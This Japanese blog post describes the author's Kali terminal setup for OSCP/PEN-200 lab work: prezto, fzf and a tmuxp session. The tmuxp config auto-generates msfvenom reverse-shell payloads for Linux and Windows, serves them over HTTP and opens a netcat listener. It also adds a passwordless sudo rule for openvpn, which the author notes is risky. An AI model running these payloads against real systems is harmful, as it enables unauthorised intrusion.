はじめに
この記事は、NFLaboratories Advent Calendar 2024 13日目の記事です。 https://adventar.org/calendars/10492
こんにちは、教育ソリューション事業部の鈴木です。
この記事では、今年PEN-200のLabに取り組んでいた際に使っていたターミナル環境についてご紹介しようと思います。
どんなターミナル?
自分の場合、PEN-200のLabに取り組んでいた時、OpenVPN接続やHTTPサーバの起動、リバースシェル用の待ち受けポートの起動などが、実行するたびに手間に感じたので、一つのコマンドを打つだけで全て起動するようにしました。他にもコマンド履歴をいい感じに検索できるようにしたり、プロンプトの表示形式などをカスタムしました。また自分の場合、ターミナルウィンドウを複数立てたくなかったので、tmuxを使って一つのウィンドウで完結させました。
最終的には一つのターミナルで以下のような状態になります。
使用したツール
主に以下の三つをメインで使用します。他にもツールはインストールするのですが、インストールする際にご説明いたします。
prezto github.com
fzf github.com
tmuxp github.com
インストール手順
今回はVM上のKaliにインストールしていくときの手順を示していきたいと思います。
検証環境:Kali Linux 2024.03
大きな手順は以下です。
- スナップショットの取得
- preztoのインストール
- fzfのインストール
- tmuxpのインストール
1.スナップショットの取得
環境の構築がうまいくいかなかったときのために、いつでも元の状態に戻れるようにスナップショットを作成しておきます。 使用している仮想化ソフトの機能を使って、スナップショットを取得してきおましょう。
2. preztoのインストール
preztoとはzshのフレームワークの一つで、zshのプラグイン管理や、プロンプトのテーマ変更などが可能です。 kaliのデフォルトのシェルはzshだと思うのですが、念のためzshであることを確認します。
┌──(kali㉿kali)-[~] └─$ echo $SHELL /usr/bin/zsh
preztoをインストールする前に既存の.zshrcがあるとうまくいかないので、別名で保存しておきます。
mv .zshrc .zshrc.old
その後、preztoのドキュメント通りにインストールを行います。
まずはレポジトリをクローンします。
git clone --recursive https://github.com/sorin-ionescu/prezto.git "${ZDOTDIR:-$HOME}/.zprezto"
その後、新しいzshの設定ファイルを作成します。
setopt EXTENDED_GLOB for rcfile in "${ZDOTDIR:-$HOME}"/.zprezto/runcoms/^README.md(.N); do ln -s "$rcfile" "${ZDOTDIR:-$HOME}/.${rcfile:t}" done
次のデフォルトのシェルにzshを設定する手順はすでに設定してあるのでスキップします。
ここまでを実施して、新しいターミナルを開くと以下のようになっているはずです。
次はプロンプトのテーマを変更します。
以下のコマンドで、プロンプトのテーマの名前の一覧を確認できます。
prompt -l
以下のコマンドで、各テーマのプレビューが可能です。
prompt -p <テーマ名>
ここではお好きなテーマを選択していただいて問題ありません。 選んだテーマを.zpreztorcに保存します。
.zpreztorcの148行目を変更します。
zstyle ':prezto:module:prompt' theme '<テーマ名>'
ここではparadoxに変更します。時間も見られてシンプルだったので。
zstyle ':prezto:module:prompt' theme 'paradox'
次にコマンドの自動補完を有効にします。 これをすることでコマンド履歴に基づく補完をしてくれます。
.zpreztorcの42行目のpromtpの後に\
を追加し、43行目に'autosuggestions'
を追加します。
また49行目付近に以下を追加します。
zstyle ':prezto:module:autosuggestions' color 'yes'
zstyle ':prezto:module:autosuggestions:color' found 'fg=blue'
これでコマンド履歴に基づく補完が表示されるようになります。
3. fzfのインストール
fzfとはコマンド履歴を直感的に検索できるツールです。
検索文字列が少なくても候補をいろいろ出してくれるので、とても使いやすいです。
OSCPのチートシートからいちいちコピペしなくても過去に実行したことあるコマンドならすぐに出せるのが一番のメリットだと思います。
- インストール方法
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ~/.fzf/install
- 使い方
- Ctrl-rでコマンド履歴を検索できます。
- 矢印キーで選択できます。
- Ctrl-rでコマンド履歴を検索できます。
4.tmuxpのインストール
tmuxpの説明の前にtmuxの説明をします。
tmuxとはターミナルマルチプレクサ(Terminal Multiplexer) の略で、Linux 系のターミナル画面を複数のセッション、ウィンドウ、ペインに分割して利用することができます。
参考:とほほのtmux入門www.tohoho-web.com
以下は自分のtmuxの設定ファイルです。マウスを使えるようにしたり、ドラッグで範囲選択→Ctrl-c→Enterでコピーとかできるようにしてあります。 細かい意味はchatgptなどで聞いていただければと思います。
以下の設定ファイルをホームディレクトリ配下に.tmux.conf
として保存してください。
setw -g mouse on bind-key v copy-mode \; display "Copy mode!" set-option -g default-terminal screen-256color set -g status-fg cyan set -g status-bg black set -g pane-active-border-style "bg=default fg=cyan" setw -g mode-keys vi bind-key -T copy-mode C-c send-keys -X copy-pipe "xsel -bi | tmux save-buffer - | xsel --clipboard --input" bind-key -T copy-mode-vi C-c send-keys -X copy-pipe "xsel -bi | tmux save-buffer - | xsel --clipboard --input" unbind -T copy-mode MouseDragEnd1Pane unbind -T copy-mode-vi MouseDragEnd1Pane
またクリップボードにコピーする際にはxselというツールを使っているためインストールしておきます。
sudo apt-get install -y xsel
ここから本題のtmuxpについて見ていきます。
tmuxpとはtmuxのセッションマネージャーの一つで、設定ファイルを読み込んでウィンドウやペインのレイアウトを自動的に構築してくれます。
- インストール方法
sudo apt install -y tmuxp
tmuxpを使う前にいくつか準備をしておきます。
- ディレクトリ構成
- 以下のような構成でディレクトリを作成します。
- ここではoffsecというフォルダを作成して、そこにovpnファイルやツール用のフォルダ、tumxpの設定ファイルを入れておきます。
- ツール用のフォルダにはよく攻撃先に配送するファイルなどを配置しておきます。
- rlwrapのインストール
- リバースシェルで待ち受ける際に、これを使っておくと矢印キーでコマンド履歴を遡れるようになるので便利です。
sudo apt-get -y install rlwrap
- sudo openvpnをパスワードなしで実行するための設定
- PEN-200のLabの環境に接続するためには専用のovpnファイルを使います。(現在はLabの利用期間はすでに切れているため、ここではHackTheBoxのovpnファイルを使っています。)
- 毎回openvpnコマンドを打つのが手間だったので、ここで自動化します。
- ここはセキュリティ的に危ない設定を入れているので設定しなくても問題ありませんが、その代わりにパスワード入力が求められます。
- というのも実はsudo openvpnを実行する場合、読み込むovpnファイルによってはroot権限によるスクリプト実行が可能なテクニックが存在します。
- exploit-notes.hdks.org
- ovpnファイルに2行追加すればroot権限で任意のスクリプトが実行可能です。
- 設定を入れる場合は、使用するovpnファイルは必ず信頼された出所のものを使用しましょう。
- というのも実はsudo openvpnを実行する場合、読み込むovpnファイルによってはroot権限によるスクリプト実行が可能なテクニックが存在します。
sudo visudo
を実行後に以下の設定を入れます。
kali ALL=(ALL) NOPASSWD: /usr/sbin/openvpn /home/kali/offsec/lab.ovpn
- tmuxpの設定ファイル(offsec_tmux.yaml)
session_name: oscp global_options: history-limit: 10000 windows: - window_name: openvpn shell_command_before: - cd ~/offsec panes: - shell_command: - sudo /usr/sbin/openvpn /home/kali/offsec/lab.ovpn - window_name: portscan shell_command_before: - cd ~/offsec - clear - window_name: webscan shell_command_before: - cd ~/offsec - clear - window_name: exploit shell_command_before: - cd ~/offsec - clear - window_name: revshell shell_command_before: - cd ~/offsec - clear panes: - shell_command: - rlwrap nc -nlvp 443 - window_name: http shell_command_before: - sleep 10 - cd ~/offsec/tools - ip a | grep "global tun0" | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | xargs -I {} msfvenom -p linux/x64/shell_reverse_tcp LHOST={} LPORT=443 -f elf >| shell.elf - ip a | grep "global tun0" | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | xargs -I {} msfvenom -p windows/x64/shell_reverse_tcp LHOST={} LPORT=443 -f exe >| shellx64.exe - ip a | grep "global tun0" | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | xargs -I {} msfvenom -p windows/shell_reverse_tcp LHOST={} LPORT=443 -f exe >| shellx86.exe panes: - shell_command: - python3 -m http.server 80
- この設定で以下のウィンドウが起動します。
- OpenVPN用ウィンドウ
- openvpnコマンドを実行し、VPN接続を行います。
- portscan, webscan, exploitウィンドウ
- 名前は分けていますが、主に作業用です。
- リバースシェル用待ち受けウィンドウ
- rlwrapとncを使用します。
- ツール転送用HTTPサーバ
- tun0に割り当てられたipを使ってリバースシェル用のバイナリをmsfvenomで生成し、その後pythonでHTTPサーバを起動します。
- OpenVPN用ウィンドウ
最後にtmuxpのコマンドをエイリアスで.zpreztorcに追加しておきます。
alias oscp='tmuxp load ~/offsec/offsec_tmux.yaml'
これでターミナルを開き直すとoscp
というコマンドを打つとtmuxが立ち上がります。
OpenVPNのログの「Initialization Sequence Completed」を確認したら、画面下のportscanやwebscanと書かれているウィンドウをクリックして、調査を開始しましよう。
えっ地味すぎてあんまりかっこよくないって?、これがいいんですよ😤
おわりに
ターミナル環境などはご自身が使いやすい環境がベストだと思いますが、ここでは環境のカスタムの一つの例として自分の環境をご紹介いたしました。
今回紹介した環境もやろうと思えば、さらにいろんなことができると思います。例えば、ligolo-ng用のインターフェースを作って、proxyのバイナリを自動実行することもできると思います。 たまには時間をとってターミナル環境を整備することもおすすめです。
自分は今年の5月にOSCPに合格し、今月からPEN-300に取り組んでいます。
それでは皆様よいTry Harderな年末をお過ごしください!